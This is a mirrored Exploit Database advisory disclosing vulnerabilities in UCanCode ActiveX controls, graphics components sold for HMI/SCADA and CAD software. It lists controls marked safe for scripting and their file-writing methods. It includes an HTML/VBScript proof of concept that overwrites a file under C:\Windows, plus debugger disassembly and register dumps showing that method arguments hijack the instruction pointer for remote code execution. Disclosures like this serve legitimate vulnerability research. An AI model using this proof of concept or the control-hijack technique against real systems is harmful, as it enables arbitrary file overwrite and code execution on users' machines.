UCanCode – Multiple Vulnerabilities

• Exploit Database
• 116 阅读

• 作者： shinnai
  日期： 2016-11-23
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40820/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330

  UCanCode multiple vulnerabilities   Url: http://www.hmi-software.com/ http://www.ucancode.net/index.htm http://www.ucancode.net/bbs/zhuce/login.htm   Description: Form vendor&apos;s web page "UCanCode Software is a Market Leading provider of HMI & SCADA, CAD, UML, GIS, Vector Graphics and Real Time Data Visualization Graphics Source Code Kits for C/C++ and .NET software developers more than 40 countries around the world!" Great... 40 countries. It&apos;s time to take a look to their software! Package name "UCanCode_Controls.zip" After the installation, we can found these activex controls: --------------------------------------------- ProgID: UCCVIEWER.UCCViewerCtrl.1 CLSID: {3B7B3C36-8515-4E15-BC46-D1BEBA2F360C} --------------------------------------------- ProgID: UCCDRAW.UCCDrawCtrl.1 CLSID: {4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7} --------------------------------------------- progID: TKDRAWCAD.TKDrawCADCtrl.1 CLSID: {9022B790-B810-45B4-80BC-2D94EEC5343C} --------------------------------------------- ProgID: UCCPRINT.UCCPrintCtrl.1 CLSID: {A4FCBD44-6BF5-405C-9598-C8E8ADCE4488} --------------------------------------------- ProgID: UCCDIAGRAM.UCCDiagramCtrl.1 CLSID: {B6A3BF2C-F770-4182-BE7F-103BF2C76826} --------------------------------------------- ProgID: UCCUML.UCCUMLCtrl.1 CLSID: {C1F0EE85-363F-483D-97D0-87E2A537BFBA} --------------------------------------------- ProgID: UCCHMI.UCCHMICtrl.1 CLSID: {EDBBC1DC-58B2-4404-85FD-F9B1C05D96EF} --------------------------------------------- ProgID: UCCSIMPLE.UCCSIMPLECtrl.1 CLSID: {EF3AAE34-E60A-11E1-9656-00FF8A2F9C5B} --------------------------------------------- and all are marked as: RegKey Safe for Script: True RegKey Safe for Init: True Implements IObjectSafety: False   Author: shinnai mail: shinnai[at]autistici[dot]org site: http://www.shinnai.altervista.org/ --------------------------------------------------------------------- INSECURE METHODS: In these coontrols there are a lot of insecure methods which can be used to overwrite arbitrary files in user&apos;s pc. This is the complete list:   1) various Export* methods   Library: UCCSIMPLELib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCSIM~1.OCX Class: UCCSIMPLE{EF3AAE34-E60A-11E1-9656-00FF8A2F9C5B} Sub ExportAsBitmapFile (ByVal strFileAs String) ---------------------------------------- Library: UCCSIMPLELib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCSIM~1.OCX Class: UCCSIMPLE{EF3AAE34-E60A-11E1-9656-00FF8A2F9C5B} Sub ExportAsEMFFile (ByVal strFileAs String) ---------------------------------------- Library: UCCHMILib - C:\PROGRA~1\UCANCO~1\UCANCO~1\HMI_OCX\UCCHMI.ocx Class: UCCHMI{EDBBC1DC-58B2-4404-85FD-F9B1C05D96EF} Sub ExportAsBitmapFile (ByVal strFileAs String) ---------------------------------------- Library: UCCHMILib - C:\PROGRA~1\UCANCO~1\UCANCO~1\HMI_OCX\UCCHMI.ocx Class: UCCHMI{EDBBC1DC-58B2-4404-85FD-F9B1C05D96EF} Sub ExportAsEMFFile (ByVal strFileAs String) ---------------------------------------- Library: UCCUMLLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCUML.ocx Class: UCCUML{C1F0EE85-363F-483D-97D0-87E2A537BFBA} Sub ExportAsBitmapFile (ByVal strFileAs String) ---------------------------------------- Library: UCCUMLLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCUML.ocx Class: UCCUML{C1F0EE85-363F-483D-97D0-87E2A537BFBA} Sub ExportAsEMFFile (ByVal strFileAs String) ---------------------------------------- Library: UCCUMLLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCUML.ocx Class: UCCUML{C1F0EE85-363F-483D-97D0-87E2A537BFBA} Function ExportBitmapData (ByRef phBlobAs Long, ByVal imageShapeAs Long) As Boolean ---------------------------------------- Library: UCCDIAGRAMLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDIA~1.OCX Class: UCCDiagram{B6A3BF2C-F770-4182-BE7F-103BF2C76826} Sub ExportAsBitmapFile (ByVal strFileAs String) ---------------------------------------- Library: UCCDIAGRAMLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDIA~1.OCX Class: UCCDiagram{B6A3BF2C-F770-4182-BE7F-103BF2C76826} Sub ExportAsEMFFile (ByVal strFileAs String) ---------------------------------------- Library: UCCPRINTLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCPrint.ocx Class: UCCPrint{A4FCBD44-6BF5-405C-9598-C8E8ADCE4488} Sub ExportAsBitmapFile (ByVal strFileAs String) ---------------------------------------- Library: UCCPRINTLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCPrint.ocx Class: UCCPrint{A4FCBD44-6BF5-405C-9598-C8E8ADCE4488} Sub ExportAsEMFFile (ByVal strFileAs String) ---------------------------------------- Library: TKDRAWCADLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\TKDRAW~1.OCX Class: TKDrawCAD{9022B790-B810-45B4-80BC-2D94EEC5343C} Sub ExportAsBitmapFile (ByVal strFileAs String) ---------------------------------------- Library: TKDRAWCADLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\TKDRAW~1.OCX Class: TKDrawCAD{9022B790-B810-45B4-80BC-2D94EEC5343C} Sub ExportAsEMFFile (ByVal strFileAs String) ---------------------------------------- Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx Class: UCCDraw{4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7} Sub ExportAsBitmapFile (ByVal strFileAs String) ---------------------------------------- Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx Class: UCCDraw{4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7} Sub ExportAsEMFFile (ByVal strFileAs String) ---------------------------------------- Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx Class: UCCDraw{4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7} Function ExportToBitmapFile (ByVal lpszFile As String) As Boolean ---------------------------------------- Library: UCCVIEWERLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCVIE~1.OCX Class: UCCViewer{3B7B3C36-8515-4E15-BC46-D1BEBA2F360C} Sub ExportAsBitmapFile (ByVal strFile As String) ---------------------------------------- Library: UCCVIEWERLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCVIE~1.OCX Class: UCCViewer{3B7B3C36-8515-4E15-BC46-D1BEBA2F360C} Sub ExportAsEMFFile (ByVal strFile As String) ----------------------------------------   2) various Save* methods:   ---------------------------------------- Library: UCCSIMPLELib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCSIM~1.OCX Class: UCCSIMPLE{EF3AAE34-E60A-11E1-9656-00FF8A2F9C5B} Function SaveMemory2 (ByVal filename As String, ByVal pData As Long, ByVal nSize As Long) As Boolean ---------------------------------------- Library: UCCHMILib - C:\PROGRA~1\UCANCO~1\UCANCO~1\HMI_OCX\UCCHMI.ocx Class: UCCHMI{EDBBC1DC-58B2-4404-85FD-F9B1C05D96EF} Function SaveMemory2 (ByVal filename As String, ByVal pData As Long, ByVal nSize As Long) As Boolean ---------------------------------------- Library: UCCUMLLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCUML.ocx Class: UCCUML{C1F0EE85-363F-483D-97D0-87E2A537BFBA} Function SaveMemory2 (ByVal filename As String, ByVal pData As Long, ByVal nSize As Long) As Boolean ---------------------------------------- Library: UCCDIAGRAMLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDIA~1.OCX Class: UCCDiagram{B6A3BF2C-F770-4182-BE7F-103BF2C76826} Function SaveMemory2 (ByVal filename As String , ByVal pData As Long , ByVal nSize As Long) As Boolean ---------------------------------------- Library: UCCDIAGRAMLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDIA~1.OCX Class: UCCDiagram{B6A3BF2C-F770-4182-BE7F-103BF2C76826} Sub SaveToXdgFile (ByVal lpszFileName As String) ---------------------------------------- Library: UCCDIAGRAMLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDIA~1.OCX Class: UCCDiagram{B6A3BF2C-F770-4182-BE7F-103BF2C76826} Function SaveTemplateToFile (ByVal strFile As String) As Boolean ---------------------------------------- Library: UCCPRINTLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCPrint.ocx Class: UCCPrint{A4FCBD44-6BF5-405C-9598-C8E8ADCE4488} Function SaveMemory2 (ByVal filename As String , ByVal pData As Long , ByVal nSize As Long) As Boolean ---------------------------------------- Library: UCCPRINTLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCPrint.ocx Class: UCCPrint{A4FCBD44-6BF5-405C-9598-C8E8ADCE4488} Sub SaveToXdgFile (ByVal lpszFileName As String) ---------------------------------------- Library: UCCPRINTLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCPrint.ocx Class: UCCPrint{A4FCBD44-6BF5-405C-9598-C8E8ADCE4488} Function SaveTemplateToFile (ByVal strFile As String) As Boolean ---------------------------------------- Library: TKDRAWCADLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\TKDRAW~1.OCX Class: TKDrawCAD{9022B790-B810-45B4-80BC-2D94EEC5343C} Function SaveMemory2 (ByVal filename As String , ByVal pData As Long , ByVal nSize As Long) As Boolean ---------------------------------------- Library: TKDRAWCADLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\TKDRAW~1.OCX Class: TKDrawCAD{9022B790-B810-45B4-80BC-2D94EEC5343C} Sub SaveToXdgFile (ByVal lpszFileName As String) ---------------------------------------- Library: TKDRAWCADLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\TKDRAW~1.OCX Class: TKDrawCAD{9022B790-B810-45B4-80BC-2D94EEC5343C} Function SaveTemplateToFile (ByVal strFile As String) As Boolean ---------------------------------------- Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx Class: UCCDraw{4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7} Function SaveMemory2 (ByVal filename As String, ByVal pData As Long, ByVal nSize As Long) As Boolean ---------------------------------------- Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx Class: UCCDraw{4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7} Function SaveDocument (ByVal lpszFileName As String) As Boolean ---------------------------------------- Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx Class: UCCDraw{4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7} Sub SaveToXdgFile (ByVal lpszFileName As String) ---------------------------------------- Library: UCCVIEWERLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCVIE~1.OCX Class: UCCViewer{3B7B3C36-8515-4E15-BC46-D1BEBA2F360C} Function SaveMemory2 (ByVal filename As String, ByVal pData As Long, ByVal nSize As Long) As Boolean ---------------------------------------- Library: UCCVIEWERLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCVIE~1.OCX Class: UCCViewer{3B7B3C36-8515-4E15-BC46-D1BEBA2F360C} Sub SaveToXdgFile (ByVal lpszFileName As String) ---------------------------------------- Library: UCCVIEWERLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCVIE~1.OCX Class: UCCViewer{3B7B3C36-8515-4E15-BC46-D1BEBA2F360C} Function SaveTemplateToFile (ByVal strFile As String) As Boolean ----------------------------------------   3) various Write methods:   ---------------------------------------- Library: UCCSIMPLELib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCSIM~1.OCX Class: UCCSIMPLE{EF3AAE34-E60A-11E1-9656-00FF8A2F9C5B} Function Write (ByVal lpszFileName As String) As Boolean ---------------------------------------- Library: UCCHMILib - C:\PROGRA~1\UCANCO~1\UCANCO~1\HMI_OCX\UCCHMI.ocx Class: UCCHMI{EDBBC1DC-58B2-4404-85FD-F9B1C05D96EF} Function Write (ByVal lpszFileName As String) As Boolean ---------------------------------------- Library: UCCUMLLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCUML.ocx Class: UCCUML{C1F0EE85-363F-483D-97D0-87E2A537BFBA} Function Write (ByVal lpszFileName As String) As Boolean ---------------------------------------- Library: UCCDIAGRAMLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDIA~1.OCX Class: UCCDiagram{B6A3BF2C-F770-4182-BE7F-103BF2C76826} Function Write (ByVal lpszFileName As String) As Boolean ---------------------------------------- Library: UCCPRINTLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCPrint.ocx Class: UCCPrint{A4FCBD44-6BF5-405C-9598-C8E8ADCE4488} Function Write (ByVal lpszFileName As String) As Boolean ---------------------------------------- Library: TKDRAWCADLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\TKDRAW~1.OCX Class: TKDrawCAD{9022B790-B810-45B4-80BC-2D94EEC5343C} Function Write (ByVal lpszFileName As String) As Boolean ---------------------------------------- Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx Class: UCCDraw{4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7} Function Write (ByVal lpszFileName As String) As Boolean ---------------------------------------- Library: UCCVIEWERLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCVIE~1.OCX Class: UCCViewer{3B7B3C36-8515-4E15-BC46-D1BEBA2F360C} Function Write (ByVal lpszFileName As String) As Boolean ----------------------------------------   PROOF OF CONCEPT: <html> <object classid="clsid:B6A3BF2C-F770-4182-BE7F-103BF2C76826" id="test"></object> <script language = "vbscript"> test.SaveTemplateToFile buff,C:\Windows\_system.ini </script> </html>   ---------------------------------------- ----------------------------------------   REMOTE CODE EXECUTION   This product is so poor coded that remote code execution is possible using a lot of functions (and I&apos;m lazy), so here it is the description of just one of it, "AddDWordUserProperty":   CPU Disasm Address Hex dumpCommandComments ... ... 1007FEB5|.8D5424 44 LEA EDX,[LOCAL.36] 1007FEB9|.51PUSH ECX 1007FEBA|.8B06MOV EAX,DWORD PTR DS:[ESI] <- WE CAN CONTROL ESI 1007FEBC|.52PUSH EDX 1007FEBD|.8BCEMOV ECX,ESI 1007FEBF|.C78424 DC0000 MOV DWORD PTR SS:[LOCAL.0],0 1007FECA|.897C24 10 MOV DWORD PTR SS:[LOCAL.51],EDI 1007FECE|.FF90 04030000 CALL DWORD PTR DS:[EAX+304] 1007FED4|.85C0TEST EAX,EAX ... ... Registers: CPU - thread 9. (00000B38), module UCCVIE~1_OCX EAX 015DD1D0 ECX 015DD194 EDX 015DD1D0 EBX 00000000 ESP 015DD188 EBP 015DD300 ESI 41414141 <- FIRST ARGUMENT PASSED TO AddDWordUserProperty METHOD EDI 42424242 <- SECOND ARGUMENT PASSED TO AddDWordUserProperty METHOD EIP 1007FEBA UCCVIE~1_OCX.1007FEBA   ----------------------------------------------------------------------   We can use it to pass a valid memory address so that we can find a more comfortable situation :) CPU Disasm Address Hex dumpCommandComments ... ... 1007FEB5|.8D5424 44 LEA EDX,[LOCAL.36] 1007FEB9|.51PUSH ECX 1007FEBA|.8B06MOV EAX,DWORD PTR DS:[ESI] 1007FEBC|.52PUSH EDX 1007FEBD|.8BCEMOV ECX,ESI 1007FEBF|.C78424 DC0000 MOV DWORD PTR SS:[LOCAL.0],0 1007FECA|.897C24 10 MOV DWORD PTR SS:[LOCAL.51],EDI 1007FECE|.FF90 04030000 CALL DWORD PTR DS:[EAX+304] <- WE NOW ARE IN CONTROL OF EAX 1007FED4|.85C0TEST EAX,EAX ... ...   Registers CPU - thread 9. (00000B38), module UCCVIE~1_OCX EAX 45454545 <- THIS VALUE THAT WAS PREVIOUSLY STORED IN MEMORY, IF WE CHANGE IT IN ANOTHER VALID ADDRESS... ECX 00030040 ASCII "EEEE" EDX 015DD1D0 EBX 00000000 ESP 015DD184 EBP 015DD300 ESI 00030040 ASCII "EEEE" EDI 42424242 EIP 1007FECE UCCVIE~1_OCX.1007FECE And... CPU - thread 9. (00000B38) EAX 0002FDBC ECX 00030040 ASCII "EEEE" EDX 015DD1D0 EBX 00000000 ESP 015DD180 EBP 015DD300 ESI 00030040 ASCII "EEEE" EDI 42424242 EIP 46464646 <- BINGO :)   ---------------------------------------- ----------------------------------------   BONUS STAGE: There are a huge number of DoS... happy hunting :) Peace, your friendly neighborhood shinnai. ---------------------------------------------------------------------